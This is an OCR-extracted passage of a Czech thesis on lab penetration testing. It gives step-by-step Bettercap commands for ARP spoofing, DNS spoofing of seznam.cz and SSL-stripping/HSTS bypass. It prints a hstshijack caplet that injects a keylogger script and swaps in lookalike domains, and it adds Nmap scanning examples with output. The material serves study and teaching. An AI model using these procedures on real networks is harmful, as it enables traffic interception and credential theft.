Obr. 32: Bettercap, zaména MAC adres
Zdroj: Vlastni zpracovani (2026)

ARP Spoofing utok je nejlépe vidét na paketovém snifferu Wireshark, kde utocnik
(192.168.204.128) neustale vysila ARP pozadavky na broadcast. Z 3226 paketl se 3181 paket(
tyka protokolu ARP:
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r

A *eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

L — L

Ami® BRE == EE

[§|arp|

No. Time Source Destination Protocol Length Info
3..33.782111149 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.793520351 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.804617270 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3..33.817218818 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.828486362 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.839682106 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.850898607 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.862005386 VMware_e6:af:2f Broadcast ARP 42 Who has 192
3.. 33.873350036 VMware_e6:af:2f Broadcast

Y

Sender IP address (arp.src.proto_ipv4), 4 bytes  Packets: 3226 - Displayed: 3181 (98.6%) - Dropped

Obr. 33: Bettercap, ARP spoofing ve Wireshark
Zdroj: Vlastni zpracovdni (2026)

2.3.2 DNS Spoofing

DNS je server prekladajici ndzvy domén na IP adresy. Pokud se zadd nazev domény do
prohlize¢e, pozadavek jde na DNS server a poté odpovi zpét IP adresou, kde je doména
umisténa a prohlize¢ nahraje stranku z IP adresy serveru. V pripadé MITM jdou poZadavky na
preklad nazvu domén na zafizeni, které stoji mezi komunikaci serveru a klienta, jesté drive nez
na DNS server, z ¢ehoz plyne moznost jednoduchého podvrzeni falesné stranky. Zarizeni stojici
mezi komunikaci serveru a klienta je schopno podvrhnout IP adresu vyslanou na DNS server
a odeslat ji zpét. Moznosti, co se s podvrienim da délat, je obrovské, pokud se Utoc¢nik dostane
do sité, lIze podvrhnout vlastni stranku, cizi stranku z internetu, phishingovou stranku,
prihlasovaci stranku, Skodlivy kéd, malware a mnoho dalSich zakefnych moznosti. Ve zkratce je
DNS spoofing pfesmérovanim pozadavku ndzvu domény kamkoliv. Je vSak nutné, aby zafizeni
bylo v komunikaci mezi serverem a klientem. CoZ umoznuje ARP Spoofing. ARP Spoofing mize
byt také spustén, pokud chce utocnik utocit technikou DNS Spoofing, coZ neni nutnosti,
vyrazné vsak ulehcuje praci. Na prikladu se presméruje doména na lokalni stranky spusténé
lokalné na webovém serveru Apache. Ve webovém serveru Apache hraje duleZitou roli soubor
index.html v adresafi /var/www/html, ktery je mozné upravit. Moduly arp.spoof, net.probe,
net.recon, net.sniff, zerogod a events.stream v programu Bettercap jiz béZzi. Napovédu Ize opét
vyvolat prikazem help dns.spoof a DNS modul je nutné nastavit na (Zsecurity, 2026):

e set dns.spoof.all true - bettercap odpovi na vSechny DNS dotazy,

e set dns.spoof.domains seznam.cz, *.seznam.cz — zaddvand doména, kterd bude
presmérovana na zafizeni 192.168.204.130. Hvézdicka pro pfipad kdyby bylo do
prohlizec¢e zaddno www.seznam.cz. Vice domén se musi oddélit ¢arkou,

Vv

e set dns.spoof.adress 192.168.204.128 — IP adresa zafizeni, na kterém bézi aktivovany
webovy server Apache a na kterou bude obét pfesmérovana,

e dns.spoof on — start modulu dns.spoof,

e service apache2 start — na druhém zafizeni, 192.168.204.128, se musi web server
Apache aktivovat. Je mozné upravit soubor index.html v adresari /var/www/html.
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r

= luke@kali: ~

Session Actions Edit View Help
> 192.168.204.128 | » set dns.spoof.all true
> 192.168.204.128 | » set dns.spoof.domains seznam.cz, *.seznam.cz
> 192.168.204.128 » set dns.spoof.adress 192.165.204.128
> 192.168.204.128 » dns.spoof on

Obr. 34: Bettercap, parametry prikazu dns.spoof
Zdroj: Vlastni zpracovadni (2026)

Nesmi se zapomenout aktivovat webovy server na zafizeni 192.168.204.128, také je dobré
vymazat historii prohlizeni v prohlizeci, aby stranky nezlstaly v cache paméti a zaroven chvili
pockat, nez se zmény zapisi do systému. Po zadani seznam.cz se pozadavek presméruje na
192.168.204.128 a v listé prohlize¢e nazev domény seznam.cz zUstava:

B | ® NewTab o+

® - www.seznam.cz

OffSec Kali Linux §& Kali Tools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

“'s Firefox

Obr. 35: Bettercap, zadani seznam.cz do prohlizece
Zdroj: Vlastni zpracovdni (2026)

(©  Apache2 Debian Default Page X +

O (& NotSecure htip://seznam.cz

OffSec Kali Linux #& KaliTools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

Apache2 Debian Default |

H
Thic ic tha Adafanlt wialrama nana nicad ta tact tha rarract anaratinn Af th

Obr. 36: Bettercap, pfesmérovani DNS Spoofing

Zdroj: Vlastni zpracovdni (2026)

2.3.3 HTTPS, HSTS protokoly

HTTP (Hypertext Transfer Protocol) protokol komunikuje s okolim nesifrované. Neopravnéna
osoba jej muze Cist, editovat a posilat dal, protoZe neni nijak zabezpecen. Problém byl opraven
v HTTPS (Hypertext Transfer Protocol Secure). HTTPS je Sifrovand, zabezpecena komunikace,
pro Clovéka necitelna. Vrstva Secure zarucuje Sifrovani dat. Pouziva protokol TLS (Transport
Layer Security) nebo SSL (Secure Sockets Layer) k zasifrovani dat a je tak velmi obtizné
informace z dat ziskat. Nejjednodussi metodou je obejit HTTPS. Zakladem je podvrZeni stranek
obéti tak, Ze misto klasického HTTPS Sifrovani stranka pouZije pouze HTTP. Pak bude moct
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Utocnik ziskana data precist jako normalni text. Podvrzeni si vSak lze vSimnout ukazatelem

vlevo vedle listy, kde se zaddvd URL stranky. Bude tam chybét ukazatel pro zabezpecené

Sifrovani. Ukazateli zabezpeceni stranek vsak zpravidla mnoho lidi pozornost nevénuje, je vsak

vidét jako znameni podvrhu. Pro zmifiované ucely Ize ru¢né nakonfigurovat a stdhnout modul

ssistrip. Kali Linux obsahuje caplet hstshijack v zakladnim nastaveni, ktery je jiz nastaven pro

ucely podvrieni protokolu HTTPS. Caplet Ize editovat dle libosti. Opét je dobré preventivné

pred testovanim vymazat historii prohlizeni v prohliZzec¢i z divodu cache paméti. Nasleduje

postup, jak HTTPS protokol zménit na HTTP protokol. Postup je podobny jako u kapitoly ARP

Spoofing, je nutné dostat se mezi komunikaci dvou zafizeni a v Bettercap postupné zadavat
(HTTP Strict Transport Security (HSTS), 2026):

net.probe on,
e net.recon on,

e set arp.spoof.fullduplex true,
o set arp.targets 192.168.204.130 — zatizeni obéti,

e arp.spoof on,

o set net.sniff.local true - Bettercap bude sniffovat i lokalni data. ProtoZe data budou

pfichdzet ze zafizeni obéti, které je také v lokalni siti,

e net.sniff on,

e caplets.show — pfikaz neni nutny, jedna se o vypis seznamu capletll a jejich umisténi

na disku,

e sudo apt install sslstrip — v termindlu Linuxu se stahne balicek, ktery se automaticky

presune do

adresare capletu hstsjihack v

/usr/share/bettercap/caplets/hstshijack,

e hstsjihack/hstsjihack — pfikaz opét v Bettercap, pouze se potvrdi Enterem.

luke@leali: ~

adresari

Session Actions Edit View Help

> 192.168.204.128

» caplets.show

Name Path Size
ap /usr/share/bettercap/caplets/ap.cap 570 B
crypto-miner/crypto-miner /usr/share/bettercap/caplets/crypto-miner/crypto-miner.cap 666 B
download-autopwn/download-autopwn /usr/share/bettercap/caplets/download-autopwn/download-autopwn.cap 2.6 kB
fb-phish/fb-phish /usr/share/bettercap/caplets/fb-phish/fb-phish.cap 140 B
gitspoof/gitspoof /usr/share/bettercap/caplets/gitspoof/gitspoof.cap 216 B
s Jusr/share/bettercap/caplets/gps.cap 109 B
rﬁgtshljackfhstshljack usr/share/bettercap/caplets/hstshijack/hstshijack.cap 1.6 kB
http-req-dump/http-req-dump usr/share/bettercap/caplets/http-req-dump/http-reqg-dump.cap 591 B
http-ui /usr/share/bettercap/caplets/http-ui.cap 376 B
https-ui /fusr/share/bettercap/caplets/https-ui.cap 655 B
jsinject/jsinject /usr/share/bettercap/caplets/jsinject/jsinject.cap 210 B
local-sniffer /usr/share/bettercap/caplets/local-sniffer.cap 244 B
login-manager-abuse/login-man-abuse | /usr/share/bettercap/caplets/login-manager-abuse/login-man-abuse.cap | 236 B
mana /usr/share/bettercap/caplets/mana.cap 61 B
massdeauth /usr/share/bettercap/caplets/massdeauth.cap 302 B
mitmé /usr/share/bettercap/caplets/mitm6.cap 551 B
netmon /usr/share/bettercap/caplets/netmon.cap 42 B
pita /usr/share/bettercap/caplets/pita.cap 900 B
proxy-script-test/proxy-script-test | /usr/share/bettercap/caplets/proxy-script-test/proxy-script-test.cap 57 B
pwnagotchi-auto /usr/share/bettercap/caplets/pwnagotchi-auto.cap 330 B
pwnagotchi-manual /usr/share/bettercap/caplets/pwnagotchi-manual.cap 440 B
rogue-mysql-server /fusr/share/bettercap/caplets/rogue-mysql-server.cap 501 B
rtfm/rtfm /usr/share/bettercap/caplets/rtfm/rtfm.cap 210 B
simple-passwords-sniffer /usr/share/bettercap/caplets/simple-passwords-sniffer.cap 131 B
steal-cookies/steal-cookies /usr/share/bettercap/caplets/steal-cookies/steal-cookies.cap 134 B
tcp-req-dump/tcp-req-dump /usr/share/bettercap/caplets/tcp-reg-dump/tcp-reg-dump.cap 413 B
web-override/web-override /usr/share/bettercap/caplets/web-override/web-override.cap 254 B

Obr. 37

: Bettercap, seznam Capleti a jejich umisténi

Zdroj: Vlastni zpracovdni (2026)

71



Vysoka skola polytechnicka Jihlava

r

" | luke@kali: fusrfshare/bettercap/caplets/hstshijack

# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack

# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts’' and 'hstshijack.payloads
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.

set hstshijack.log /Jusr/share/bettercap/caplets/hstshijack/ssl.log

set hstshijack.ignore *

set hstshijack.targets facebook.com,*,facebook.com,apple.com,*.apple.com

set hstshijack.replacements facebook.corn,*.facebook.corn,apple.corn,*.apple.corn

set hstshijack.ssl.domains /Jusr/share/bettercap/caplets/hstshijack/domains.txt

set hstshijack.ssl.index /usr/share/bettercap/caplets/hstshijack/index.json

set hstshijack.ssl.check true

#set hstshijack.blockscripts example.com,*,.example.com

set hstshijack.obfuscate false

set hstshijack.payloads *:/usr/share/bettercap/caplets/hstshijack/payloads/keylogger.js
set tshijack.encode false

set hstshijack.whitelist Jusr/share/bettercap/caplets/hstshijack/whitelist.json

#net.recon on

set http.proxy.script /usr/share/bettercap/caplets/hstshijack/hstshijack.js
http.proxy on

set dns.spoof.domains facebook.corn,*.facebook.corn,apple.corn,*.apple.corn
set dns.spoof.all true
dns.spoof on

Obr. 38: Bettercap, ukazka souboru hstshijack.cap
Zdroj: Vlastni zpracovani (2026)

Poté, co se pfipoji obét na jakoukoliv stranku s HTTPS zabezpelenim, nahraje se rovnou bez
HTTPS zabezpecleni a tak by se mély zjistit i pfihlasSovaci Udaje pres Wireshark nebo Bettercap.
Bohuzel se nepodafilo ziskat vypsani pfihlaSovacich udajli, mnohokrat vyzkouseno. Podle
dostupnych informaci je zmifiovana problematika ¢asto spojovdna s prohlizeci. Nejlepsi na
ochranu je Mozilla Firefox, kde je témér nemozné nacitat HTTPS stranky jako HTTP, vypise se
hlaseni internet neni dostupny. Dalsi zkouseny prohlize¢ Google Chromium byl dostupnéjsi,
strdnky HTTPS nacetl jako HTTP, nicméné ani tady se nepodafilo pfi pfihlaseni ziskat
pozadované informace. Nejvice dostupné prohlizeCe by mély byt, vedle starého Internet
Explorer, ty méné znamé jako Vivaldi ¢i Brave. Moderni prohlizece jsou s kazdou novou
aktualizaci bezpecénéjsi vic¢i zndmym uUtokim. Zmirnovanym zplisobem lIze ziskat ptihlasovaci
Udaje ze stranek, které pouzivaji HTTPS, coZz se vSak nepodafilo. Na stranky se lze pfihlasit
a i poté funguji jako HTTP stranky bez HTTPS zabezpeleni, nicméné pfihlaSovaci Udaje
Wireshark ani Bettercap nezachyti. Nejpopuldrnéjsi stranky jako Facebook, sit X a jiné maji
ochranu zabezpeceni o Uroven lepsi, protokolem HSTS. HSTS protokol je tézké obejit a i k tomu

poslouZi soubor hststhijack.cap.
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https://login.szn.cz

KaliLinux # KaliTools = KaliDocs ®& KaliForums ¢ Kali NetHunter #% Exploit-DB Google Hackin...

SEeEZ2NAM.CS ©

Log in by email or phone

3 ' =l %ank D

Create a new account

Obr. 39: Bettercap, ukazka prolomeni HTTPS login.szn.cz
Zdroj: Vlastni zpracovdni (2026)

L e stackovel Flow.com/users/login?s

KaliLinux # KaliTools # KaliDocs & KaliForums & Kali NetHunter & Exploit-DB Google Hackin...

Stack Overflow requires external JavaScript from another domain, which is blocked or failed to load. Retry using anothg

werflow About Products For Teams ‘ Try new site [EELN ‘ Q, search...

S stack Overflow

G Log in with Google

€) Log in with GitHub

0 Log in with Facebook

Email

petrnovak@gmail.com

Password Forgot passward?

Obr. 40: Bettercap, ukazka prolomeni HTTPS stackoverflow.com
Zdroj: Vlastni zpracovdni (2026)
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25 facebook.com

ali Forums & Kali NetHunter " Exploit-DB Google Hackin...

facebook.com
B8 Connection is secure
@ Cookies and site data

@ Site settings
Log into Facebook

Email or mobile number

Password

Obr. 41: Bettercap, ukazka HSTS ochrany facebook.com
Zdroj: Vlastni zpracovani (2026)

HSTS (HTTP Strict Transport Security) pouZivaji nejvice popularni stranky. Jak lze spatfit na
obrdzku, i stranky Facebooku jsou chradnény protokolem HSTS. | kdyby se na stranky Facebooku
pouzila metoda popsana vyse, stejné je moderni prohlizece nahraji s HTTPS zabezpecenim.
V modernich prohlizecich jsou nahrany seznamy webovych stranek uréené pro protokol HSTS,
které se nahraji jediné s HTTPS zabezpecenim. CozZ v praxi znamend, Ze je nemozné prolomit
HSTS protokol, protoZe je implementovan pfimo v prohlizecich, lokalné na zafizeni potencialni
obéti. Jedinym feSenim je presvédcit prohlizec, aby nahral jinou stranku s dojmem, Ze nahrava
pravou stranku. Cilem je tedy pfepsat vSechny odkazy na HSTS stranky podobnymi URL odkazy.
Naptiklad facebook.com na facebook.corn ¢i faceboook.com, novinky.cz na movinky.cz,
kali.org na kali.ong, www.kb.cz na wvvw.kb.cz a podobné. Opét se pracuje se souborem
hstshijack.cap v adresafi /usr/share/bettercap/caplets/hstshijack, ktery musi byt spravné
sepsan. Prikazy i postup jsou totoZné jako u HTTPS prolomeni na HTTP, nic se neméni. Pouze se
musi editovat spravné soubor hstshijack.cap. Opét se doporucéuje vymazat historii prohlizece
(HTTP Strict Transport Security (HSTS), 2026).

URL odkazy se pfi pokusu o prolomeni HSTS nezadavaji rucné do listy prohlizece, ale pres odkaz
na jiné strance i pres vyhledavace, lze i odkazem pres obrdzek a podobné. Nutno vSak dodat,
Ze vyhledava¢ musi mit prolomené HTTPS zabezpeceni. Z vysledkd vyhledavani Ize spatfit
odkazy misto facebook.com na facebook.corn. Kdyz se klikne na odkaz Facebooku, prohlizec jej
presméruje na facebook.corn a nahraje se strdnka facebook.corn, kterd je naprosto totozna
jako originalni a plvodni stranka facebook.com, zaroven jiz neni HTTPS Sifrovana. Po vyplnéni
udajli na podvrzené strance se z nesifrované komunikace tak opét ziskaji prihlasovaci udaje.
Bohuzel se vSak opét nepodafilo Uspésné dokoncit zminénou techniku. Moderni prohlizece
maji ¢asté bezpecnostni aktualizace a pokud se néjaka hackerska technika dostane do SirsSiho
podvédomi, autofi prohlizeCe zajisté rychle vydaji nové aktualizace znemoziujici prolomeni
bezpecnosti jejich produktu. | autofi videi na YouTube prohlasuji na zminéné téma, Ze se jedna
o techniku zavislou na mnoha scénarich (HTTP Strict Transport Security (HSTS), 2026):
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C M cure  google.com/search?q=Ffacebook&:s v=129340b34802109d&source=!

OffSec KaliLinux §8 KaliTools # KaliDocs W KaliForums X KaliNetHunter #% Exploit-D

Google facebook

https://www.facebook.com/?locale=cs_CZ 84i5 g about this ...
Obr. 42: Bettercap, HSTS ochrana, odkaz facebook.corn
Zdroj: Vlastni zpracovdni (2026)

Zde vlevo dole v ¢erveném ramecku by se mél objevit odkaz facebook.corn:

25 facebook.com/?locale=cs CZ

KaliLinux #8 KaliTools @ KaliDocs ® KaliForums @ KaliNetHunter #% Exploit-DB Google Hackin.

Prihlasit se k Facebooku

E-mail nebo &islo mobilu

Heslo

Obr. 43: Bettercap, HSTS ochrana, liSta facebook.corn
Zdroj: Vlastni zpracovadni (2026)

Zde by se mél v listé prohlizeCe objevit ndpis facebook.corn, HTTPS Sifrovani by mélo byt
prolomené. Zde je patrné, zZe stranky Facebooku jsou chranény HSTS protokolem. Zaroven po
vyplnéni pfihlasovacich udaji by mélo dojit k jejich zachyceni.

2.4 Nmap — skenovani porti

Nmap, Network Mapper, je mutliplatformni open-source nastroj pro praci se siti. Jedna se
o program, ktery prozkoumava sitova zafizeni a zjistuje, zda jsou zafizeni v siti aktivni, jaké
porty maji oteviené a jaké sluzby na portech bézi, dokaze zjistit dokonce i, v jaké verzi jsou na
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portech sluzby dostupné. Dokdaze také odhalit operacéni systém vzdaleného zafizeni a pomoci
skriptovaciho systému NSE provadét pokrocilé testy, které odhaluji chyby v konfiguraci nebo
odhaluji zranitelnosti sité. V praxi Nmap predstavuje ndstroj, ktery umozini odhadnout
strukturu sité. Spravclm siti pomaha udriovat poradek a bezpecnost, bezpecnostnim
specialistim umoznuje odhalit rizika dfive, nez je nékdo zneuZije, a béZnému uZivateli mize
odhalit, jaka vSechna zafizeni jsou pfipojena do jeho domaci sité. Nmap dokaze zmapovat
strukturu sité tak, Ze zmapuje celou sit. Zasila vybrané typy paketl na specifické IP adresy
a analyzuje odpovédi. Nmap rovnéz disponuje grafickym rozhranim, které se nazyva Zenmap.
Komunikace probiha na zdkladé transportnich protokold, z nichZ nejvice pouZivané jsou TCP
(Transmission Control Protocol) a UDP (User Datagram Protocol), které zajistuji pfenos dat
(Nmap, 2026).

Kazdy z protokold ma vlastni sadu portli, které jsou cislované od jedné do 65535. Za
konkrétnim portem se skryva konkrétni sluzba. Porty jsou standardizované a rozdélené do tfi
zakladnich skupin. PIné standardizované, dobife zndmé porty, maji Cisla od jedné do 1023. Na
zminovanych portech bézi nejobvyklejsi sluzby, naptiklad HTTP (port 80, protokolu TCP), HTTPS
(port 443, protokolu TCP) ¢i DNS (port 53, protokolu UDP i TCP). Dalsi stfedni skupina jsou
registrované porty od 1024 do 49151 a jejich pouZiti je omezované. Pfi pouziti portu aplikaci by
se mél port registrovat a oznamit, Ze se bude pouzivat. Z hlediska mapovani portl stfedni
skupiny je moZnost mapovani pouze na konkrétni sluzbu. Posledni skupina portl jsou porty
dynamické, od 49152 do 65535. Nejsou pevné zarazené ani registrované, pouzivaji se
dynamicky. Pokud jedno zafizeni komunikuje s jinym, tak se otevfe jeden z dynamickych portl
na strané jedné a rovnéz dynamicky se otevie i port pro komunikaci na strané druhé. Cili nelze
zjistit s jistotou, co se za dynamickym portem skryvd za sluzbu, jen, Ze je otevieny. U vSech
ocCislovanych portli nelze vsak také s jistotou fici, Ze napfiklad na portu 80 bézi sluzba HTTP. Na
jakych portech jaké sluzby bézi urcuje administrator. Diky zakladnimu nastaveni sité vsak
sluzby diky Cislovani portd odhadnout Ize. Pokud se napfiklad oskenuje adresni rozsah néjaké
firmy, Ize zjistit, Ze na téchto IP adresach je otevieny port 80 nebo port 443, coZ znamen3, Ze
tam budou néjaké webové servery a uz hacker vi, kde Utocit nebo kde navazat komunikaci
(Nmap, 2026).

Tab. 6: Pfehled nejzakladnéjsich portd

Sluzba | Port Daemon Verze Popis

FTP 21 vsftpd 3.0.5 FTP server

SSH 22 ssh 9.7 Vzddleny pfistup
DNS 53 bind9 9.20.1 DNS server
HTTP | 80/443 apache2, httpd 2.4.62 Webovy server
NTP 123 chronyd 4.5 Casovy server
Samba | 445 smbd 4.20.0 Sdileni soubor(
CUPS | 631 cups 2.4.10 Tiskovy server
Proxy | 8080 squid 6.10 Proxy server

Zdroj: vlastni zpracovani dle Microsoft Copilot: vds Al pomocnik (2025)
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2.4.1 Zakladni prikazy

Prikazy Nmap maji ohromné mnozZstvi parametrll a moznosti, které lze najit na manualovych
strankach nastroje prikazem man nmap ¢i nmap -h. Mezi zdkladni ptikazy Nmap se radi (Nmap,
2026):

nmap 192.168.204.130 — zakladni pfikaz bez jakéhokoliv parametru, cileny na jednu IP adresu,
jedno zafizeni v siti. Zafizeni v siti je aktivni (host is up) a port Cislo 22 protokolu TCP je otevien
se sluzbou SSH:

luke® kali)-[~
$ nmap 192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-21 18:40 +0100

Nmap scan report for 192.168.204.130
(@.@@@395 Loy
Not shown: 999 closed tcp ports (reset)

POR - RVICE

22/tcp open ssh

:29:AC:85:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Obr. 44: Nmap, pfikaz Nmap na jedno zafizeni
Zdroj: Vlastni zpracovani (2026)

Podobné je mozné skenovat i jednotliva zatizeni v siti prikazy:

e nmap 192.168.204.130 192.168.204.128 192.168.204.2 — vice zafizeni najednou,
e nmap 192.168.204.0,1,2,3,4 — opét vice zafizeni najednou oddélené pouze ¢arkou,
e nmap scanme.nmap.org - Ize skenovat i textovou doménu.

nmap 192.168.204.0/24 — skenovani vSech zafizeni v siti s maskou 24. VypiSe informace
o vSech aktivnich zafizeni v siti:

r

| luke@kali: ~
Session Actions Edit View Help

Host is up (@.00045s latency).

All 1000 scanned ports on 192.168.204.1 are in ignored states.
Not shown: 1@00 filtered tcp ports (no-response)

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.204.2

Host is up (@.00019s latency).

Not shown: 999 closed tcp ports (reset)
PORT  STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F2:82:56 (VMware)

Nmap done:l256 IP addresses (5 hosts up)lscanned in 211.78 seconds

Obr. 45: Nmap, pfikaz Nmap na celou sit
Zdroj: Vlastni zpracovani (2026)

Dalsi ptikazy, kterymi je také mozné skenovat vSechna zafizeni v siti:

e nmap 192.168.204.*— skenuje vSechna zafizeni v siti,
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e nmap 192.168.204.130-254 - skenovani ¢3sti sité dle rozsahu IP adres.

nmap -p 22 192.168.204.130 - skenovani pouze vybraného portu 22 na zafizeni
192.168.204.130. Pokud se napiSe pfikaz bez uvedeni parametru p, automaticky Nmap
naskenuje tisic nejpouzivanéjsich port(:

luke® kali)-[~]
4 nmap -p 22 192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-21 19:26 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00059s latency).

PORT STATE SERVICE
22/tcp open ssh

WMAC Address: 00:0C:29:AC:85:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Obr. 46: Nmap, pfikaz na skenovani portt
Zdroj: Vlastni zpracovdni (2026)

Opét existuje celd fada moznosti, jaké zvolit prikazy pfi skenovani porta:

e nmap -p 22,80,443 192.168.204.130 — skenuje pouze vybrané porty,

e nmap -p 22-80 192.168.204.130 — skenuje rozsah portd,

e nmap -p- 192.168.204.130 — skenuje vSechny porty od 0 do 65535,

e nmap -p T:* 192.168.204.130 — skenuje pouze vsechny TCP porty,

e nmap --top-ports 10 192.168.204.130 — skenuje pouze nejpouzivanéjsich 10 portd.

nmap -sV 192.168.204.130 — malé s v tomto parametru znaci typ skenu a za typ skenu (za malé
s) se pridavaji dal$i moznosti. V tomto pripadé se jedna o uzitecny parametr velké V, které nam
odhali verze sluzeb na danych portech, coz mlze byt uZiteéné pri praniku do sité. Takto lze
skenovat i celou sit, nejen jedno zafizeni:

luke® kali ]

$ nmap -sV 192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-21 20:16 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00056s latency).
Not shown: 996 closed tcp ports (reset)
N
22/tcp ssh OpenSSH 10.2p1 Debian 2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.65 ((Debian))
139/tcp netbios-ssn Samba smbd 4
445/tc netbios-ssn Samba smbd &
MAC Address: 00:0C:29:AC:85:4D (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results .
Nmap done: 1 IP address (1 host up) scanned in 12.29 seconds

Obr. 47: Nmap, prikaz na skenovani sluzeb
Zdroj: Vlastni zpracovdni (2026)
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Dalsi moznosti pfepinacée malé s:

e nmap -sS 192.168.204.130 - skenuje nejpouzivanéjsich tisic TCP portd,

e nmap -sU 192.168.204.130 — skenuje pouze UDP porty,

e nmap -sP 192.168.204.0/24 - ping aktivnich zafizeni v siti, bez skenovani port(,

e nmap -sn 192.168.204.0/24 — také ping aktivnich zatizeni v siti, bez skenovani portd,

e nmap -sX 192.168.204.130 - Xmas scan, skenuje TCP porty pomoci specialnich flag.

e nmap -sA 192.168.204.130 — ACK scan, zjistuje zda porty filtruje firewall,

e nmap -sT 192.168.204.130 - pouzije plny three-way handshake,

e nmap -sN 192.168.204.130 - specidlni stealth technika bez TCP flagd,

e nmap -sC 192.168.204.130 — skenuje verze sluzeb a spusti zakladni NSE skripty pro
detekci sluzeb.

nmap -0 192.168.204.130 — Nmap detekujte operacni systém zafizeni:

luke® kali)-[~

$ A 192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-21 20:54 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00044s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: @0:0C:29:AC:85:4D (VMware)
Device type: general purpose
Running: Linux &.X]|5.X
0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:Llinux kernel:5
0S details: Llinux 4.15 — 5.19
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at http:
Nmap done: 1 IP address (1 host up) scanned in 2.44 seconds

Obr. 48: Nnmap, ptikaz na detekci OS
Zdroj: Vlastni zpracovadni (2026)

Dalsi moZnosti parametru velké O mohou byt:

e nmap -0 --osscan-limit 192.168.204.130 - provadi detekci OS pouze u hostd,
e nmap -0 192.168.204.130 -vvvv — detekce OS s velmi podrobnym verbose vystupem.

nmap -A 192.168.204.130 - aggressive scanning, dokaZe zobrazit nejvice detailll o portech
v jednom prikazu. Vyhleda informace o sluzbach a jejich verzich i operacnich systémech,
provede traceroute a spusti zakladni NSE skripty pro detekci sluzeb:
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= luke@kali: ~

Session Actions Edit View Help

Host is up (0.00049s latency).
Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSTON
22/tcp open ssh OpenSSH 10.2p1 Debian 2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.65 ((Debian))

| _http-title: Apache2 Debian Detault Page: IT works
| http- server—header Apache/2.4.65 (Debian)

139/tcp open
445/tcp open
MAC Address @@:@E:29:AC:85:4D VMware

0S CPE: cpe:/o:linux:linux kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.19

etwor istance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux _kernel

Running: Linux 4.X]5.X ‘

ost script results:

| smb2-time:

| date: 2026-03-21T20:06:27

| start date: N/A

| smb2-security-mode:

| ko) (%

- Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.204.130

0S and Service detection performed. Please report any incorrect rest
Nmap done: 1 IP address (1 host up) scanned in 19.38 seconds

Obr. 49: Nmap, pfikaz na aggressive scanning
Zdroj: Vlastni zpracovdni (2026)

nmap -oX output.xml 192.168.204.0/24 - ulozi vysledky do XML souboru output.xml, ktery lze
snadno prevést do HTML nebo do jinych format(, coZ je uzitecné pro generovani sitovych map:

F

= luke@kali: ~
Session Actions Edit View Help

Nmap scan report for 192.168.204.128

Host is up.

ALl 1000 scanned ports on 192.168.204.128 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap done: 256 IP addresses (5 hosts up) scanned in 211.69 seconds

~(luke® kali)-[~]
~$ 11 | grep output.xml
-rw-rw-r— 1 luke luke 27408 Mar 21 21:57 output.xml
Obr. 50: Nmap, pfikaz pro scan output
Zdroj: Vlastni zpracovani (2026)
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Dal$i moZnosti prace se soubory ¢i vystupll do souborli mohou byt:

e nmap -oN output.txt 192.168.204.0/24 - ulozi vysledky skenu do textového souboru,

e nmap -0G output.txt 192.168.204.0/24 - ulozi vysledky skenu do grepovatelného
formatu (Grepable Output),

e nmap -oA output 192.168.204.0/24 - ulozi vysledky skenu do tfi formatd najednou
(Nmap, XML a Grepable),

e nmap -iL /input.txt — nastroj bude skenovat seznam IP adres z textového souboru.

Nékteré parametry nastroje Nmap lze mezi sebou rlizné kombinovat, mezi dalsi uZitecné
parametry, které lze pfi rGznych prikazech pouZit se fadi (Nmap, 2026):

vvvvv

falesnych vysledk(, blokace nebo odhaleni.

-v aZ -vvwv - zvySuje mnoZstvi zobrazovanych informaci (verbose), ¢im vice v, tak podrobnéjsi
vystup.

Ostatni uzite€né linuxové prikazy:

e service --status-all | grep + - zobrazi pouze bézici sluzby,
e ss -tulnp — zobrazi naslouchajici porty a procesy,
e netstat -tulnp - starsi, ale stale pouzivany nastroj podobny ptikazu ss.

2.4.2 Nmap Scripting Engine

Skripty Nmap Scripting Engine (NSE) jsou nedilnou soucasti instalacniho balicku Nmap
a zaroven jeho nejsilngjsi strankou. Skripty jsou ulozené v adresafi /usr/share/nmap/scripts
a maji pfiponu *.nse. Celkem jich je okolo 600 (dalsi je mozné stahnout ze stranek nmap.org)
a je mozné mezi nimi vyhledat konkrétni skript pouZitim pfikazu grep. Dale umoziuji vytvaret,
spoustét a sdilet vlastni automatizované skripty psané v programovacim jazyce Lua a jejich
